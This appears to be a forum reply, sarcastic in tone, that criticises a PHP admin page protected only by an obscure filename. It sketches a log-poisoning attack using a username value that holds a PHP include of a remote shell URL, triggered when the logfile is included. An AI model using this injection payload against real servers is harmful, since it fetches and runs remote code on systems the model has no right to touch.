@Bulb said in Parallel computing with Cron and PHP: Of course there is. Including it in that admyn.php page cleverly secured by the unguessable name and there being no public links to it (at least I hope so). Hey how did you know our production setup? Well I'm not worried because you don't know our domain so it's all perfectly secure Anyway that script also enables a clever way of logging in when you misplaced the note with the password: Because user input is logged to the logfile you can fill out the form with this username Bobby <?php include("http://shells.for.everyone/php"); ?> and then visit admyn.php to trigger the shell Seriously though, I haven't found a place where logfiles are PHP-included. Maybe that part was removed.